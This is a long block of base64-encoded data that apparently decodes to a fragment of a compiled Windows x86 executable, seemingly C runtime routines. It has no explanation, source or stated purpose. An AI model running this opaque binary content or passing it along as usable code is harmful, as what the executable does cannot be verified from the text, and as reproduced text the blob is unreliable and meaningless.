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B/8VbOBAAIXAD4TQAwAAg7085f//AQ+MzwMAAP+FMOX///+FOOX//+mDAAAAPAF0BDwCdSEPtzMzyWaD/goPlMFDQ4OFROX//wKJtUDl//+JjSDl//88AXQEPAJ1Uv+1QOX//+gRUwAAWWY7hUDl//8PhWgDAACDhTjl//8Cg70g5f//AHQpag1YUImFQOX//+jkUgAAWWY7hUDl//8PhTsDAAD/hTjl////hTDl//+LRRA5hUTl//8Pgvn9///pJwMAAIsOihP/hTjl//+IVA80iw6JRA846Q4DAAAzyYsGA8f2QASAD4S/AgAAi4U05f//iY1A5f//hNsPhcoAAACJhTzl//85TRAPhiADAADrBou1KOX//4uNPOX//4OlROX//wArjTTl//+NhUjl//87TRBzOYuVPOX///+FPOX//4oSQYD6CnUQ/4Uw5f//xgANQP+FROX//4gQQP+FROX//4G9ROX///8TAABywovYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xVs4EAAhcAPhEICAACLhSzl//8BhTjl//87ww+MOgIAAIuFPOX//yuFNOX//ztFEA+CTP///+kgAgAAiYVE5f//gPsCD4XRAAAAOU0QD4ZNAgAA6waLtSjl//+LjUTl//+DpTzl//8AK4005f//jYVI5f//O00Qc0aLlUTl//+DhUTl//8CD7cSQUFmg/oKdRaDhTDl//8Cag1bZokYQECDhTzl//8Cg4U85f//AmaJEEBAgb085f///hMAAHK1i9iNhUjl//8r2GoAjYUs5f//UFONhUjl//9Qiwb/NAf/FWzgQACFwA+EYgEAAIuFLOX//wGFOOX//zvDD4xaAQAAi4VE5f//K4U05f//O0UQD4I/////6UABAAA5TRAPhnwBAACLjUTl//+DpTzl//8AK4005f//agKNhUj5//9eO00QczyLlUTl//8PtxIBtUTl//8DzmaD+gp1DmoNW2aJGAPGAbU85f//AbU85f//ZokQA8aBvTzl//+oBgAAcr8z9lZWaFUNAACNjfDr//9RjY1I+f//K8GZK8LR+FCLwVBWaOn9AAD/FXDgQACL2DveD4SXAAAAagCNhSzl//9Qi8MrxlCNhDXw6///UIuFKOX//4sA/zQH/xVs4EAAhcB0DAO1LOX//zvef8vrDP8VGOBAAImFQOX//zvef1yLhUTl//8rhTTl//+JhTjl//87RRAPggr////rP2oAjY0s5f//Uf91EP+1NOX///8w/xVs4EAAhcB0FYuFLOX//4OlQOX//wCJhTjl///rDP8VGOBAAImFQOX//4O9OOX//wB1bIO9QOX//wB0LWoFXjm1QOX//3UU6D7c///HAAkAAADoRtz//4kw6z//tUDl///oStz//1nrMYu1KOX//4sG9kQHBEB0D4uFNOX//4A4GnUEM8DrJOj+2///xwAcAAAA6Abc//+DIACDyP/rDIuFOOX//yuFMOX//19bi038M81e6BXN///Jw2oQaOD6QADo4+f//4tFCIP4/nUb6Mrb//+DIADor9v//8cACQAAAIPI/+mdAAAAM/87x3wIOwWIK0EAciHoodv//4k46Ifb///HAAkAAABXV1dXV+gP2///g8QU68mLyMH5BY0cjaArQQCL8IPmH8HmBosLD75MMQSD4QF0v1DolEkAAFmJffyLA/ZEMAQBdBb/dRD/dQz/dQjoLvj//4PEDIlF5OsW6CTb///HAAkAAADoLNv//4k4g03k/8dF/P7////oCQAAAItF5Ohj5///w/91COjeSQAAWcPMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgqQBAACB+QABAAByH4M9fCtBAAB0FldWg+cPg+YPO/5eX3UIXl9d6VtPAAD3xwMAAAB1FcHpAoPiA4P5CHIq86X/JJUETkAAkIvHugMAAACD6QRyDIPgAwPI/ySFGE1AAP8kjRROQACQ/ySNmE1AAJAoTUAAVE1AAHhNQAAj0YoGiAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVBE5AAI1JACPRigaIB4pGAcHpAohHAYPGAoPHAoP5CHKm86X/JJUETkAAkCPRigaIB4PGAcHpAoPHAYP5CHKI86X/JJUETkAAjUkA+01AAOhNQADgTUAA2E1AANBNQADITUAAwE1AALhNQACLRI7kiUSP5ItEjuiJRI/oi0SO7IlEj+yLRI7wiUSP8ItEjvSJRI/0i0SO+IlEj/iLRI78iUSP/I0EjQAAAAAD8AP4/ySVBE5AAIv/FE5AABxOQAAoTkAAPE5AAItFCF5fycOQigaIB4tFCF5fycOQigaIB4pGAYhHAYtFCF5fycON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